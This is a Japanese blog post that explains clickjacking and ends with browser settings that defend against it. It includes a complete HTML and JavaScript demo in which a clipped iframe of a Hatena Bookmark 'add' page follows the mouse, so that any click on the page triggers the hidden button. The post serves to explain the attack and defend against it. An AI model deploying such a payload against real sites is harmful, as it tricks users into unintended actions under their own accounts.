素人がプログラミングを勉強していたブログ

プログラミング、セキュリティ、英語、Webなどのブログ since 2008

連絡先: すかいぷ:javascripter_  か javascripter あっと tsukkun.net skypeのほうがいいです

クリックジャック

最近流行のクリックジャックについて、メモ程度にまとめておく。
一言で言うと、外部サイトのボタンをユーザが間違えてクリックしてしまうように仕向けるテクニックが、クリックジャックである。
クリックジャッキングってこうですか? わかりませんではiframeをCSSのopacityプロパティを利用して透明にして、その下にダミーのボタンを置いている。目に見えているボタンを押そうとすると、その上に被せてある透明なiframeのボタンが押されてしまう。
[Sleipnir]No Click Jacking — Gistはこの攻撃に対する防御手段として考えられたユーザースクリプトで、透明なiframeを検出する。
しかし、opacity以外にもクリックジャックをする方法はあるので不十分である。
例えば
2009-03-04_2146 - javascripter's library
にスクリーンキャストを置いた方法。

<!doctype html>
<html><head><meta charset="utf-8"><title>あなたの心をジャックします!</title><script>window.onload = function () {
var iframe = document.getElementsByTagName("iframe").item(0);
window.addEventListener("mousemove", function (ev) {
  iframe.style.left = (ev.clientX - 120) + "px";
  iframe.style.top = (ev.clientY - 490) + "px";
}, false);
    };</script><style>
body {
  background: #f9f9f9;
}
iframe {
  top: -300px;
  left: -80px;
  width: 200px;
  height: 520px;
  position: absolute;
  clip: rect(478px 180px 510px 110px);
  border: none;
}</style></head><body><h1>JavaScriptCSSとiframeの組合せでどこクリックしてもジャックするデモ</h1><p>↓をクリック!</p>
    <iframe src="http://b.hatena.ne.jp/javascripter/add.confirm?url=http%3A%2F%2Fexample.com%2F">
    </iframe></body></html>

CSSのclipプロパティを使って、iframe内のボタンだけを表示するようにしている。もしiframeが1px * 1pxだったらユーザは気がつかない。
JavaScriptを使ってiframeをマウス直下に追随させたので、どこをクリックしてもアクションが起こる。

結論

FirefoxユーザはNoScriptを使うか、about:configからpermissions.default.subdocumentを3にしましょう。